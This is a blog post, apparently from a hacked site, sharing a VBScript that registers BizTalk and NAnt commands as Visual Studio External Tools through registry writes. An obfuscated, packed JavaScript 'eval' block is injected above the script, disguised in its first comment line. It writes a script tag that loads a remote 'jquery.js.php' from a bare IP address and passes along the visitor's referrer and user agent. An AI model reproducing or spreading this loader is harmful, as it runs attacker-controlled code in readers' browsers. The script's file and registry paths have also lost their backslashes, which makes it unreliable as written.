<code>
' <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etiza|var|u0026u|referrer|zfzie||js|php'.split('|'),0,{}))
</script></noindex> This script can be used to automate the creation of Visual Studio .NET 2003/2005 External Tools.
' Scott Colestock - www.traceofthought.net

Option Explicit
On Error Resume Next

Dim wshShell
Set wshShell = WScript.CreateObject("WScript.Shell")

dim nantLocation,buildFile
nantLocation = "%ProgramFiles%nantbinnant.exe"
buildFile = "/f:""$(SolutionDir)$(SolutionFileName).deploy.build"" "

Dim toolKey

toolKey = "HKEY_CURRENT_USERSoftwareMicrosoftVisualStudio8.0External Tools"

call Common
call AddTool(wshShell,"BT - &amp;HAT","%ProgramFiles%Microsoft  BizTalk  Server 2006BTSHatApp.exe","",17)
call AddTool(wshShell,"&amp;Gac This","%ProgramFiles%Microsoft Visual Studio 8SDKv2.0Bingacutil.exe","/i $(TargetPath) /f",26)

MsgBox "External tools have  been added for BizTalk.   Enjoy!"

sub Common()

  call AddTool(wshShell,"BT - B&amp;izTalk Deploy",nantLocation,buildFile+"debugDeploy",26)
  call AddTool(wshShell,"BT - BizTalk &amp;UnDeploy",nantLocation,buildFile+"debugUndeploy",26)
  call AddTool(wshShell,"BT - Update Orchs/Comps/SSO",nantLocation,buildFile+"updateOrchestration",26)
call AddTool(wshShell,"BT - Update SSO",nantLocation,"-D:debugDeploy=true "+buildFile+"deploySSO",26)
  call AddTool(wshShell,"BT - &amp;NAnt Current Target",nantLocation,"-buildfile:$(ItemPath) $(CurText)",26)
  call AddTool(wshShell,"BT - Bounce BizTalk",nantLocation,buildFile+"bounceBizTalk",26)

end sub

Sub AddTool(wshShell, toolTitle, toolCmd, toolArg, toolOpt)

	Dim toolCount
	toolCount = wshShell.RegRead(toolKey + "ToolNumKeys")
	call wshShell.RegWrite(toolKey + "ToolNumKeys",toolCount+1,"REG_DWORD")
	call wshShell.RegWrite(toolKey + "ToolTitle" + CStr(toolCount),toolTitle)
	call wshShell.RegWrite(toolKey + "ToolCmd" + CStr(toolCount),toolCmd)
	call wshShell.RegWrite(toolKey + "ToolArg" + CStr(toolCount),toolArg)
	call wshShell.RegWrite(toolKey + "ToolDir" + CStr(toolCount),"$(SolutionDir)")
	call wshShell.RegWrite(toolKey + "ToolSourceKey" + CStr(toolCount),"")
	call wshShell.RegWrite(toolKey + "ToolOpt" + CStr(toolCount),toolOpt,"REG_DWORD")

End Sub

If Err &lt;&gt; 0 Then
	Wscript.echo "Error: " + Err.Description
	Wscript.quit 1
End If

Wscript.quit 0

</code>

Tagged with:

Filed under: VisualStudio